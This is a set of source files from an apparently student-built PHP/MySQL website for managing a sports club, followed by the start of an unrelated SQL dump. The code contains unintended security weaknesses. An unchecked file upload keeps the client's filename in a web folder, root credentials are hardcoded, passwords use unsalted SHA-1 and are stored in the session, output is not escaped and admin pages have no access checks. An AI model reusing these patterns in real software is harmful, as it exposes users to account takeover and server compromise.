header("location: ../signup.php?inscription=nok");
}
<file_sep>/php/admin/actualite_add.php
<!DOCTYPE html>
<html lang="zxx" class="no-js">
<?php
//config
include "../login/connectToBDD/conn.php";
include '../../includes/config.php';
date_default_timezone_set('Europe/Paris');
session_start();
var_dump($_FILES);
if(isset($_FILES['image']['name']) && !empty($_FILES['image']['name']) && ($_FILES['image']['name'] !== ""))
{
file_put_contents('../../img/actualites/'.$_FILES['image']['name'], file_get_contents($_FILES['image']['tmp_name']));
}
if(isset($_POST['publier']) && $_POST['publier'] == 'on') {
$publier = 1;
}
else
{
$publier = 0;
}
$req = $bdd->prepare("INSERT INTO actualites(id_auteur, titre, description, date_creation, image, publie) VALUES (:id_auteur, :titre, :description, :date_creation, :image, :publie)");
$req->execute(array(
'id_auteur' => $_SESSION["UserId"],
'titre' => utf8_decode($_POST['titre']),
'description' => utf8_decode($_POST['description']),
'date_creation' => date("Y-m-d H:i:s"),
'image' => (isset($_FILES['image']['name']) && !empty($_FILES['image']['name']) && ($_FILES['image']['name'] !== "")) ? $_FILES['image']['name'] : '',
'publie' => $publier
));
header("location: actualites_accueil.php?creation=ok");
?><file_sep>/php/admin/actualite_publication.php
<!DOCTYPE html>
<html lang="zxx" class="no-js">
<?php
//config
include "../login/connectToBDD/conn.php";
include '../../includes/config.php';
$id = $_GET['id'];
$req = $bdd->prepare('UPDATE actualites SET publie = :publie WHERE id = :id');
if(isset($_GET['action']) && $_GET['action'] == 'publier')
{
$req->execute(array(
'publie' => 1,
'id' => $id
));
}
elseif(isset($_GET['action']) && $_GET['action'] == 'depublier')
{
$req->execute(array(
'publie' => 0,
'id' => $id
));
}
header("location: actualites_accueil.php");
?>
<file_sep>/README.md
# Site web de gestion d'un club de sport
<i>TP réalisé dans le cadre de l'UV TA70</i>
<br><br>
<b>Description </b>: Site web de gestion d'un club de sport
<br><br>
<b>Fonctionnalités </b>:
<ul>
<li>Site vitrine</li>
<li>Espace coach/adhérent</li>
<li>Gestion du planning coach/adhérent</li>
<li>Création/génération des factures</li>
</ul>
<b>Language utilisé </b>: PHP/MySQL
<file_sep>/php/login/login.php
<!DOCTYPE html>
<html lang="zxx" class="no-js">
<?php
//config
include '../../includes/config.php';
?>
<header id="header">
<?php include '../../includes/banner.php'; ?>
</header>
<br>
<body>
<section class="section-gap">
<div class="title text-center">
<h1 class="mb-10"><u>Authentification</u></h1>
<?php if(isset($_GET['error'])){ ?>
<div class="alert alert-danger" role="alert">
Mauvais Identifiants :(
</div>
<?php } ?>
<form method="post" action="connectToBDD/userlogin.php">
<table style="border: 1px solid black; border-collapse: separate; border-spacing: 5px;" align="center">
<tr>
<td align="left" width="40%">Email</td>
<td><input type="text" name="login_email" required/></td>
</tr>
<tr>
<td align="left" width="40%">Mot de passe</td>
<td><input type="password" name="login_password" required/></td>
</tr>
<tr>
<td colspan="2" align="right"><input align="center" type="submit" name="Connexion" value="Connexion"></td>
</tr>
<tr>
<td colspan="2" align="right"><a href="signup.php"><font color="orange">S'inscrire</font></a></td>
</tr>
<tr>
<td colspan="2" align="right"><a href="forget_mdp.php"><font color="green">Mot de passe oublié?</font></a></td>
</tr>
</table>
</form>
</div>
</section>
</body>
</html>
<file_sep>/php/login/connectToBDD/userlogin.php
<?php
session_start();
include "classes.php";
$user = new user();
$user->setUserEmail($_POST['login_email']);
$user->setUserPassword(sha1($_POST['login_password']));
if($user->Userlogin()==true)
{
$_SESSION['UserId']=$user->getUserId();
$_SESSION['UserEmail']=$user->getUserEmail();
$_SESSION['UserPassword']=$user->getUserPassword();
$_SESSION['UserNom']=$user->getUserNom();
$_SESSION['UserPrenom']=$user->getUserPrenom();
$_SESSION['UserAdress']=$user->getUserAdress();
$_SESSION['UserCP']=$user->getUserCP();
$_SESSION['UserVille']=$user->getUserVille();
$_SESSION['UserTel']=$user->getUserTel();
$_SESSION['UserNumAdherent']=$user->getUserNumAdherent();
$_SESSION['UserIdAbonnement']=$user->getUserIdAbonnement();
$_SESSION['UserIdAbonnementTexte']=$user->getUserIdAbonnementTexte();
$_SESSION['UserIdAbonnementTarif']=$user->getUserIdAbonnementTarif();
$_SESSION['UserDateAdhesion']=$user->getUserDateAdhesion();
$_SESSION['UserRole']=$user->getUserRole();
$_SESSION['UserBloque']=$user->getUserBloque();
}
?><file_sep>/php/account/myaccount.php
<!DOCTYPE html>
<html lang="zxx" class="no-js">
<?php
//config
include '../../includes/config.php';
?>
<header id="header">
<?php include '../../includes/banner.php'; ?>
<?php include '../../includes/menu_adherent.php'; ?>
</header>
<body>
<section class="section-gap">
<div class="title text-center">
<h1 style="margin-top: 70px" class="mb-10"><u>Mes informations</u></h1>
<table style="border: 1px solid black; border-collapse: separate; border-spacing: 5px;" align="center">
<tr>
<td align="left" width="40%">Nom :</td>
<td><?php echo($_SESSION['UserNom']) ?></td>
</tr>
<tr>
<td align="left" width="40%">Prenom :</td>
<td><?php echo($_SESSION['UserPrenom']) ?></td>
</tr>
<tr>
<td align="left" width="40%">Adresse :</td>
<td><?php echo($_SESSION['UserAdress']) ?></td>
</tr>
<tr>
<td align="left" width="40%">Code postal :</td>
<td><?php echo($_SESSION['UserCP']) ?></td>
</tr>
<tr>
<td align="left" width="40%">Ville :</td>
<td><?php echo($_SESSION['UserVille']) ?></td>
</tr>
<tr>
<td align="left" width="40%">Téléphone :</td>
<td><?php echo($_SESSION['UserTel']) ?></td>
</tr>
<tr>
<td align="left" width="40%">Numéro d'adhérent :</td>
<td><?php echo($_SESSION['UserNumAdherent']) ?></td>
</tr>
<tr>
<td align="left" width="40%">Abonnement choisi :</td>
<td><?php echo($_SESSION['UserIdAbonnementTexte'] . ' (' . $_SESSION['UserIdAbonnementTarif'] . '€)') ?></td>
</tr>
<tr>
<td align="left" width="40%">Date d'adhésion :</td>
<td><?php echo($_SESSION['UserDateAdhesion']) ?></td>
</tr>
<tr>
<td align="left" width="40%">Rôle utilisateur :</td>
<td><?php echo($_SESSION['UserRole']) ?></td>
</tr>
<tr>
<td align="left" width="40%">Bloqué :</td>
<td><?php echo($_SESSION['UserBloque']) ?></td>
</tr>
<tr>
<td align="left" width="40%">Email :</td>
<td><?php echo($_SESSION['UserEmail']) ?></td>
</tr>
<tr>
<td align="left" width="40%">Password :</td>
<td><a href="change_password.php">Changer mon mot de passe</a></td>
</tr>
</table>
</div>
</section>
</body>
</html><file_sep>/php/login/connectToBDD/conn.php
<?php
try{
/*Ici c' est la connection a la BBD hote,BaseDonné,Nomdutilisateur,MotdePasse*/
$bdd = new PDO('mysql:host=localhost;dbname=projetta70','root','root');
}catch(Exception $e){
die("ERROR : ".$e->getMessage()); /*Retourne une erreur si la base de donné n'est pas joiniable*/
}
?><file_sep>/php/admin/factures.php
<!DOCTYPE html>
<html lang="zxx" class="no-js">
<?php
//config
include "../login/connectToBDD/conn.php";
include '../../includes/config.php';
?>
<header id="header">
<?php include '../../includes/banner.php'; ?>
<?php include '../../includes/menu_admin.php'; ?>
</header>
<body>
<section class="section-gap">
<div class="title text-center">
<h1 style="margin-top: 70px" class="mb-10"><u>Facturation</u></h1>
<form method="post" action="generer_pdf.php">
<table style="border: 1px solid black; border-collapse: separate; border-spacing: 5px;" align="center">
<?php
//récuperer infos table abonnements_utilisateurs
$allUtilisateurs=$bdd->prepare("SELECT * FROM utilisateurs WHERE id!=:UserId ORDER BY utilisateurs.nom ASC");
$allUtilisateurs->execute(array(
'UserId'=>$_SESSION['UserId']
));
while($data=$allUtilisateurs->fetch()){
?>
<tr>
<td align="left"><?php echo($data['nom']." ".$data['prenom'])?></td>
<td align="left">
<select name="select_factures">
<?php
$id_user = $data['id'];
$factures = $bdd->query("SELECT * FROM factures WHERE id_user='$id_user'");
while ($donnees_factures = $factures->fetch())
{
$id = htmlspecialchars($donnees_factures['id']);
$chemin = htmlspecialchars($donnees_factures['chemin']);
$date_creation = htmlspecialchars($donnees_factures['date_creation']);
$date_validation = htmlspecialchars($donnees_factures['date_validation']);
echo("<option>"."Facture du ".$date_creation."</option>");
}
?>
</select>
</td>
<td align="right"><a href="generer_pdf.php?userid=<?php echo $data['id'] ?>"><img src="../../img/plus_green.png"></a></td>
</tr>
<?php
}
?>
</table>
</form>
</div>
</section>
</body>
</html><file_sep>/index.php
<!DOCTYPE html>
<html lang="zxx" class="no-js">
<?php include 'includes/config.php'; ?>
<header id="header" id="home">
<?php include 'includes/banner.php'; ?>
<?php include 'includes/menu.php'; ?>
</header>
<body>
<!-- start banner Area -->
<section class="banner-area relative" id="home">
<div class="overlay overlay-bg"></div>
<div class="container">
<div class="row fullscreen d-flex align-items-center justify-content-start">
<div class="banner-content col-lg-12 col-md-12">
<h1 class="text-uppercase">
Lorem Ipsum
</h1>
<p class="text-white text-uppercase pt-20 pb-20">
Lorem Ipsum
</p>
</div>
</div>
</div>
</section>
<!-- End banner Area -->
<!-- Start offer Area -->
<section class="offer-area section-gap" id="offer">
<div class="container">
<div class="row d-flex justify-content-center">
<div class="menu-content pb-70 col-lg-8">
<div class="title text-center">
<h1 class=" mb-10">Ce que nous offrons</h1>
<p>Lorem Ipsum.</p>
</div>
</div>
</div>
<div class="row">
<div class="col-lg-4">
<div class="single-offer">
<img class="img-fluid" src="img/o1.png" alt="">
<h4>Exercice régulier</h4>
<p>
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore
</p>
</div>
</div>
<div class="col-lg-4">
<div class="single-offer">
<img class="img-fluid" src="img/o2.png" alt="">
<h4>S'entrainer</h4>
<p>
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore
</p>
</div>
</div>
<div class="col-lg-4">
<div class="single-offer">
<img class="img-fluid" src="img/o3.png" alt="">
<h4>Body Building</h4>
<p>
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore
</p>
</div>
</div>
</div>
</div>
</section>
<!-- End offer Area -->
<!-- Start convert Area -->
<section class="convert-area" id="convert">
<div class="container">
<div class="convert-wrap">
<div class="row d-flex justify-content-center">
<div class="menu-content pb-70 col-lg-8">
<div class="title text-center">
<h1 class="text-white mb-10">Calculer votre IMC</h1>
<p class="text-white">Lorem Ipsum.</p>
</div>
</div>
</div>
<div class="row justify-content-center align-items-start">
<div class="col-lg-3 col-md-6 cols-img">
<input type="text" name="feet" placeholder="Votre Taille (cm)" class="form-control mb-20">
</div>
<div class="col-lg-3 col-md-6 cols">
<input type="text" name="pounds" placeholder="Votre Poids (kg)" class="form-control mb-20">
</div>
<div class="col-lg-3 col-md-6 cols">
<a href="#" class="primary-btn header-btn text-uppercase">Calculer votre IMC</a>
</div>
</div>
</div>
</div>
</section>
<!-- End convert Area -->
<!-- Start top-course Area -->
<section class="top-course-area section-gap" id="top-course">
<div class="container">
<div class="row d-flex justify-content-center">
<div class="menu-content pb-70 col-lg-9">
<div class="title text-center">
<h1 class="mb-10">Notre top cours ouverts pour les adhérents</h1>
<p>Lorem Ipsum.</p>
</div>
</div>
</div>
<div class="row">
<div class="col-lg-4 col-md-6">
<div class="single-course">
<div class="thumb">
<img class="img-fluid" src="img/c1.jpg" alt="">
</div>
<span class="course-status">Cours Disponible</span>
<a href="#"><h4>Cours de course<span>275€</span></h4></a>
</div>
</div>
<div class="col-lg-4 col-md-6">
<div class="single-course">
<div class="thumb">
<img class="img-fluid" src="img/c2.jpg" alt="">
</div>
<span class="course-status">Cours Disponible</span>
<a href="#"><h4>Cours poids léger<span>200€</span></h4></a>
</div>
</div>
<div class="col-lg-4 col-md-6">
<div class="single-course">
<div class="thumb">
<img class="img-fluid" src="img/c3.jpg" alt="">
</div>
<span class="course-status">Cours Disponible</span>
<a href="#"><h4>Cours de combat<span>225€</span></h4></a>
</div>
</div>
<div class="col-lg-4 col-md-6">
<div class="single-course">
<div class="thumb">
<img class="img-fluid" src="img/c4.jpg" alt="">
</div>
<span class="course-status">Cours Disponible</span>
<a href="#"><h4>Cours de yoga<span>300€</span></h4></a>
</div>
</div>
<div class="col-lg-4 col-md-6">
<div class="single-course">
<div class="thumb">
<img class="img-fluid" src="img/c5.jpg" alt="">
</div>
<span class="course-status">Cours Disponible</span>
<a href="#"><h4>Cours de fitness<span>500€</span></h4></a>
</div>
</div>
<div class="col-lg-4 col-md-6">
<div class="single-course">
<div class="thumb">
<img class="img-fluid" src="img/c6.jpg" alt="">
</div>
<span class="course-status">Cours Disponible</span>
<a href="#"><h4>Cours de body building<span>250€</span></h4></a>
</div>
</div>
</div>
</div>
</section>
<!-- End top-course Area -->
<!-- Start feature Area -->
<section class="feature-area">
<div class="container-fluid">
<div class="row justify-content-center align-items-center">
<div class="col-lg-3 feat-img no-padding">
<img class="img-fluid" src="img/f1.jpg" alt="">
</div>
<div class="col-lg-3 no-padding feat-txt">
<h6 class="text-uppercase text-white">Basic & Common Repairs</h6>
<h1>Basic Revolutions</h1>
<p>
Computer users and programmers have become so accustomed to using Windows, even for the changing capabilities and the appearances of the graphical.
</p>
</div>
<div class="col-lg-3 feat-img no-padding">
<img class="img-fluid" src="img/f2.jpg" alt="">
</div>
<div class="col-lg-3 no-padding feat-txt">
<h6 class="text-uppercase text-white">Basic & Common Repairs</h6>
<h1>Basic Revolutions</h1>
<p>
Computer users and programmers have become so accustomed to using Windows, even for the changing capabilities and the appearances of the graphical.
</p>
</div>
</div>
</div>
</section>
<!-- End feature Area -->
<!-- Start schedule Area -->
<section class="schedule-area section-gap" id="schedule">
<div class="container">
<div class="row d-flex justify-content-center">
<div class="menu-content pb-70 col-lg-8">
<div class="title text-center">
<h1 class="mb-10">Calendrier de la semaine</h1>
<p>Lorem Ipsum.</p>
</div>
</div>
</div>
<div class="row">
<div class="table-wrap col-lg-12">
<table class="schdule-table table table-bordered">
<thead class="thead-light">
<tr>
<th class="head" scope="col">Nom du cours</th>
<th class="head" scope="col">Lundi</th>
<th class="head" scope="col">Mardi</th>
<th class="head" scope="col">Mercredi</th>
<th class="head" scope="col">Jeudi</th>
<th class="head" scope="col">Vendredi</th>
</tr>
</thead>
<tbody>
<tr>
<th class="name" scope="row">Aero Fitness</th>
<td>10h00 <br> 12h00</td>
<td>10h00 <br> 12h00</td>
<td>10h00 <br> 12h00</td>
<td>10h00 <br> 12h00</td>
<td>10h00 <br> 12h00</td>
</tr>
<tr>
<th class="name" scope="row">Senior Fitness</th>
<td>10h00 <br> 12h00</td>
<td>10h00 <br> 12h00</td>
<td>10h00 <br> 12h00</td>
<td>10h00 <br> 12h00</td>
<td>10h00 <br> 12h00</td>
</tr>
<tr>
<th class="name" scope="row">Fitness Aero</th>
<td>10h00 <br> 12h00</td>
<td>10h00 <br> 12h00</td>
<td>10h00 <br> 12h00</td>
<td>10h00 <br> 12h00</td>
<td>10h00 <br> 12h00</td>
</tr>
<tr>
<th class="name" scope="row">Senior Fitness</th>
<td>10h00 <br> 12h00</td>
<td>10h00 <br> 12h00</td>
<td>10h00 <br> 12h00</td>
<td>10h00 <br> 12h00</td>
<td>10h00 <br> 12h00</td>
</tr>
<tr>
<th class="name" scope="row">Senior Fitness</th>
<td>10h00 <br> 12h00</td>
<td>10h00 <br> 12h00</td>
<td>10h00 <br> 12h00</td>
<td>10h00 <br> 12h00</td>
<td>10h00 <br> 12h00</td>
</tr>
<tr>
<th class="name" scope="row">Senior Fitness</th>
<td>10h00 <br> 12h00</td>
<td>10h00 <br> 12h00</td>
<td>10h00 <br> 12h00</td>
<td>10h00 <br> 12h00</td>
<td>10h00 <br> 12h00</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</section>
<!-- End schedule Area -->
<!-- Start team Area -->
<section class="team-area section-gap" id="trainer">
<div class="container">
<div class="row d-flex justify-content-center">
<div class="menu-content pb-70 col-lg-8">
<div class="title text-center">
<h1 class="mb-10">Nos coachs expérimentés</h1>
<p>Lorem Ipsum.</p>
</div>
</div>
</div>
<div class="row justify-content-center d-flex align-items-center">
<div class="col-md-3 single-team">
<div class="thumb">
<img class="img-fluid" src="img/t1.jpg" alt="">
<div class="align-items-center justify-content-center d-flex">
<a href="#"><i class="fa fa-facebook"></i></a>
<a href="#"><i class="fa fa-twitter"></i></a>
<a href="#"><i class="fa fa-linkedin"></i></a>
</div>
</div>
<div class="meta-text mt-30 text-center">
<h4><NAME></h4>
<p>Lorem Ipsum</p>
</div>
</div>
<div class="col-md-3 single-team">
<div class="thumb">
<img class="img-fluid" src="img/t2.jpg" alt="">
<div class="align-items-center justify-content-center d-flex">
<a href="#"><i class="fa fa-facebook"></i></a>
<a href="#"><i class="fa fa-twitter"></i></a>
<a href="#"><i class="fa fa-linkedin"></i></a>
</div>
</div>
<div class="meta-text mt-30 text-center">
<h4><NAME></h4>
<p>Lorem Ipsum</p>
</div>
</div>
<div class="col-md-3 single-team">
<div class="thumb">
<img class="img-fluid" src="img/t3.jpg" alt="">
<div class="align-items-center justify-content-center d-flex">
<a href="#"><i class="fa fa-facebook"></i></a>
<a href="#"><i class="fa fa-twitter"></i></a>
<a href="#"><i class="fa fa-linkedin"></i></a>
</div>
</div>
<div class="meta-text mt-30 text-center">
<h4><NAME></h4>
<p>Lorem Ipsum</p>
</div>
</div>
<div class="col-md-3 single-team">
<div class="thumb">
<img class="img-fluid" src="img/t4.jpg" alt="">
<div class="align-items-center justify-content-center d-flex">
<a href="#"><i class="fa fa-facebook"></i></a>
<a href="#"><i class="fa fa-twitter"></i></a>
<a href="#"><i class="fa fa-linkedin"></i></a>
</div>
</div>
<div class="meta-text mt-30 text-center">
<h4><NAME></h4>
<p>Lorem Ipsum</p>
</div>
</div>
</div>
</div>
</section>
<!-- End team Area -->
<!-- Start price Area -->
<section class="price-area pt-100" id="plan">
<div class="container">
<div class="row d-flex justify-content-center">
<div class="menu-content pb-60 col-lg-8">
<div class="title text-center">
<h1 class="mb-10">Choisissez le plan idéal</h1>
<p>Lorem Ipsum.</p>
</div>
</div>
</div>
<div class="row">
<div class="col-lg-4">
<div class="single-price">
<div class="top-sec d-flex justify-content-between">
<div class="top-left">
<h4>Standard</h4>
<p>Pour l'<br>individuel</p>
</div>
<div class="top-right">
<h1>199€</h1>
</div>
</div>
<div class="bottom-sec">
<p>
“Lorem Ipsum“
</p>
</div>
<div class="end-sec">
<ul>
<li>Avantage 1</li>
<li>Avantage 2</li>
<li>Avantage 3</li>
<li>Avantage 4</li>
<li>Avantage 5</li>
</ul>
<button class="primary-btn price-btn mt-20">Purchase Plan<span class="lnr lnr-arrow-right"></span></button>
</div>
</div>
</div>
<div class="col-lg-4">
<div class="single-price">
<div class="top-sec d-flex justify-content-between">
<div class="top-left">
<h4>Business</h4>
<p>Pour les <br>petites entreprises</p>
</div>
<div class="top-right">
<h1>€399</h1>
</div>
</div>
<div class="bottom-sec">
<p>
“Lorem Ipsum“
</p>
</div>
<div class="end-sec">
<ul>
<li>Avantage 1</li>
<li>Avantage 2</li>
<li>Avantage 3</li>
<li>Avantage 4</li>
<li>Avantage 5</li>
</ul>
<button class="primary-btn price-btn mt-20">Purchase Plan<span class="lnr lnr-arrow-right"></span></button>
</div>
</div>
</div>
<div class="col-lg-4">
<div class="single-price">
<div class="top-sec d-flex justify-content-between">
<div class="top-left">
<h4>Ultime</h4>
<p>Pour les <br>grandes entreprises</p>
</div>
<div class="top-right">
<h1>499€</h1>
</div>
</div>
<div class="bottom-sec">
<p>
“Lorem Ipsum“
</p>
</div>
<div class="end-sec">
<ul>
<li>Avantage 1</li>
<li>Avantage 2</li>
<li>Avantage 3</li>
<li>Avantage 4</li>
<li>Avantage 5</li>
</ul>
<button class="primary-btn price-btn mt-20">Purchase Plan<span class="lnr lnr-arrow-right"></span></button>
</div>
</div>
</div>
</div>
</div>
</section>
<!-- End price Area -->
<!-- Start brand Area -->
<section class="brand-area section-gap">
<div class="container">
<div class="row logo-wrap">
<a class="col single-img" href="#">
<img class="d-block mx-auto" src="img/l1.png" alt="">
</a>
<a class="col single-img" href="#">
<img class="d-block mx-auto" src="img/l2.png" alt="">
</a>
<a class="col single-img" href="#">
<img class="d-block mx-auto" src="img/l3.png" alt="">
</a>
<a class="col single-img" href="#">
<img class="d-block mx-auto" src="img/l4.png" alt="">
</a>
<a class="col single-img" href="#">
<img class="d-block mx-auto" src="img/l5.png" alt="">
</a>
</div>
</div>
</section>
<!-- End brand Area -->
<!-- Start callto Area -->
<section class="callto-area section-gap relative">
<div class="overlay overlay-bg"></div>
<div class="container">
<div class="row justify-content-center">
<div class="col-lg-12">
<h1 class="text-white">Lorem Ipsum</h1>
<p class="text-white pt-20 pb-20">
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore <br> magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation.
</p>
<a class="primary-btn" href="#">Rejoignez-nous!</a>
</div>
</div>
</div>
</section>
<!-- End callto Area -->
<!-- start footer Area -->
<footer class="footer-area section-gap">
<div class="container">
<div class="row">
<div class="col-lg-3 col-md-6 col-sm-6">
<div class="single-footer-widget">
<h4>A propos de nous</h4>
<p>
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore dolore magna aliqua.
</p>
</div>
</div>
<div class="col-lg-4 col-md-6 col-sm-6">
<div class="single-footer-widget">
<h4>Nous contacter</h4>
<p>
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore dolore magna aliqua.
</p>
<p class="number">
032434XXXX <br>
</p>
</div>
</div>
<div class="col-lg-5 col-md-6 col-sm-6">
<div class="single-footer-widget">
<h4>Newsletter</h4>
<p>Vous pouvez nous faire confiance. Nous envoyons uniquement des offres interessantes, pas de spam.</p>
<div class="d-flex flex-row" id="mc_embed_signup">
<form class="navbar-form" novalidate="true" action="https://spondonit.us12.list-manage.com/subscribe/post?u=1462626880ade1ac87bd9c93a&id=92a4423d01" method="get">
<div class="input-group add-on">
<input class="form-control" name="EMAIL" placeholder="Adresse email" onfocus="this.placeholder = ''" onblur="this.placeholder = 'Adresse email'" required="" type="email">
<div style="position: absolute; left: -5000px;">
<input name="b_36c4fd991d266f23781ded980_aefe40901a" tabindex="-1" value="" type="text">
</div>
<div class="input-group-btn">
<button class="genric-btn"><span class="lnr lnr-arrow-right"></span></button>
</div>
</div>
<div class="info mt-20"></div>
</form>
</div>
</div>
</div>
</div>
<div class="footer-bottom row">
<p class="footer-text m-0 col-lg-6">
<!-- Link back to Colorlib can't be removed. Template is licensed under CC BY 3.0. -->
Copyright ©<script>document.write(new Date().getFullYear());</script> All rights reserved | This template is made with <i class="icon-heart3" aria-hidden="true"></i> by <a href="https://colorlib.com" target="_blank">Colorlib</a>
<!-- Link back to Colorlib can't be removed. Template is licensed under CC BY 3.0. -->
</p>
<div class="footer-social col-lg-6">
<a href="#"><i class="fa fa-facebook"></i></a>
<a href="#"><i class="fa fa-twitter"></i></a>
<a href="#"><i class="fa fa-dribbble"></i></a>
<a href="#"><i class="fa fa-behance"></i></a>
</div>
</div>
</div>
</footer>
<!-- End footer Area -->
</body>
</html>
<file_sep>/php/admin/actualites_accueil.php
<!DOCTYPE html>
<html lang="zxx" class="no-js">
<?php
//config
include "../login/connectToBDD/conn.php";
include '../../includes/config.php';
?>
<header id="header">
<?php include '../../includes/banner.php'; ?>
<?php include '../../includes/menu_admin.php'; ?>
</header>
<body>
<section class="section-gap">
<div class="title text-center">
<h1 style="margin-top: 70px" class="mb-10"><u>Actualités</u></h1>
<?php if(isset($_GET['creation']) && $_GET['creation'] == "ok"){ ?>
<div class="alert alert-success" role="alert">
L'actualité a été créée :)
</div>
<?php } ?>
<table cellspacing="0" cellpadding="2" border="0" width="1500" align="center">
<tr>
<td align="left">
<a href="actualites_new.php">
<input type="submit" name="btn_actualite_add" value="Nouvelle actualité" align="right" style="background-color:#046380;color:#FFFFFF;padding:10px 0 10px 0;font:Bold 13px Arial;width:150px;border-radius:2px;border:none">
</a>
</td>
</tr>
</table>
<br>
<?php
$req = $bdd->query("SELECT act.date_creation as date_creation
,act.id as id
,uti.nom as nom_auteur
,uti.prenom as prenom_auteur
,act.titre as titre
,act.image as image
,act.description as description
,act.publie as publie
FROM actualites act INNER JOIN utilisateurs uti ON act.id_auteur = uti.id
ORDER BY date_creation desc");
echo "<table style=\"border: 1px solid black; border-collapse: separate; border-spacing: 5px;\" cellspacing=\"0\" cellpadding=\"2\" border=\"0\" width=\"1500\" align=\"center\">";
while($data = $req->fetch()){
echo "<tr>";
echo "<td>".$data['date_creation']."</td>";
echo "<td>".$data['nom_auteur']." ".$data['prenom_auteur']."</td>";
echo "<td>".utf8_encode($data['titre'])."</td>";
echo '<td><img src="../../img/actualites/'.$data['image'].'" height="50" width="100"></td>';
echo "<td>".utf8_encode(substr($data['description'], 0, 75))."...</td>";
echo "<td>";
if($data['publie'] == 1)
{
echo '<a href="actualite_publication.php?action=depublier&id='.$data["id"].'">';
echo '<input type="submit" name="btn_depublier" value="Dépublier" style="background-color:#BA0101;color:#FFFFFF;padding:6px 0 6px 0;font:Bold 13px Arial;width:90px;border-radius:2px;border:none">';
echo '</a>';
}
else
{
echo '<a href="actualite_publication.php?action=publier&id='.$data["id"].'">';
echo '<input type="submit" name="btn_publier" value="Publier" style="background-color:#069B37;color:#FFFFFF;padding:6px 0 6px 0;font:Bold 13px Arial;width:90px;border-radius:2px;border:none">';
echo '</a>';
}
echo "</td>";
echo "</tr>";
}
echo "</table>";
?>
</div>
</section>
</body>
</html><file_sep>/php/login/signup.php
<!DOCTYPE html>
<html lang="zxx" class="no-js">
<?php
//config
include '../../includes/config.php';
include "connectToBDD/conn.php";
?>
<header id="header">
<?php include '../../includes/banner.php'; ?>
</header>
<br>
<body>
<section class="section-gap">
<div class="title text-center">
<h1 class="mb-10"><u>Inscription</u></h1>
<?php if(isset($_GET['error'])){ ?>
<div class="alert alert-danger" role="alert">
<?php
switch($_GET['error'])
{
case 'champs_manquant':
echo 'Veuillez remplir tous les champs';
break;
case 'tel':
echo 'Numéro de téléphone incorrect';
break;
case 'caractere_mdp':
echo 'Le mot de passe doit faire au moins 4 caractères';
break;
case 'verification_mdp':
echo 'Les deux mots de passe doivent etre identiques';
break;
case 'email_deja_present':
echo 'Cet email est déja enregistré';
break;
}
?>
</div>
<?php }elseif(isset($_GET['inscription']) && $_GET['inscription'] == 'ok'){
?>
<div class="alert alert-success" role="alert">
Inscription effectuée.
</div>
<?php
}?>
<form method="post" action="connectToBDD/adduser.php">
<table style="border: 1px solid black; border-collapse: separate; border-spacing: 5px;" cellspacing="0" cellpadding="2" border="0" width="400" align="center">
<tr>
<td align="left">Type d'abonnement : </td>
<td><select required name="inscription_type_abonnement">
<option selected></option>
<?php
$abonnements = $bdd->query("SELECT * FROM abonnements");
while($donnees_abonnements=$abonnements->fetch(PDO::FETCH_OBJ))
{
$abo_id=$donnees_abonnements->id;
$abo_texte=$donnees_abonnements->texte;
$abo_tarif=$donnees_abonnements->tarif;
echo '<option value="' . $abo_id . '">' . $abo_texte . ' ' . $abo_tarif . '€' . '</option>';
}
?>
</select>
</td>
</tr>
<tr><td colspan="2"> </td></tr>
<tr>
<td align="left">Nom : </td>
<td><input type="text" name="inscription_nom" required></br></td>
</tr>
<tr>
<td align="left">Prenom : </td>
<td><input type="text" name="inscription_prenom" required></br></td>
</tr>
<tr>
<td align="left">Adresse : </td>
<td><input type="text" name="inscription_adresse" required></br></td>
</tr>
<tr>
<td align="left">CP : </td>
<td><input type="text" name="inscription_cp" required></br></td>
</tr>
<tr>
<td align="left">Ville : </td>
<td><input type="text" name="inscription_ville" required></br></td>
</tr>
<tr>
<td align="left">Telephone : </td>
<td><input type="text" name="inscription_tel" required></br></td>
</tr>
<tr>
<td align="left">Email : </td>
<td><input type="email" name="inscription email" required></br></td>
</tr>
<tr><td colspan="2"> </td></tr>
<tr>
<td colspan="2" align="right">
<input type="submit" value="S'inscrire"/>
</td>
</tr>
</table>
</form>
</div>
</section>
</body>
</html>
|
bdb8b945e5eb262d20baf6aa2a17565a5ff932ca
|
[
"Markdown",
"PHP"
] | 20 |
PHP
|
quentinpmf/utbm-gymManagementWebsite
|
59b2e906ac43a14f0bc4a386175c61e00d8f6c10
|
0c959449e1c6cd4997f1010dadde8bddd3ee7fbb
|
refs/heads/master
|
<file_sep>CREATE DATABASE IF NOT EXISTS `ffadb` /*!40100 DEFAULT CHARACTER SET utf8 */;
USE `ffadb`;
-- MySQL dump 10.13 Distrib 5.7.9, for Win64 (x86_64)
--
-- Host: 127.0.0.1 Database: ffadb
-- ------------------------------------------------------
-- Server version 5.7.11-log
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
--
-- Table structure for table `teams`
--
DROP TABLE IF EXISTS `teams`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `teams` (
`FFATeamID` int(11) NOT NULL AUTO_INCREMENT,
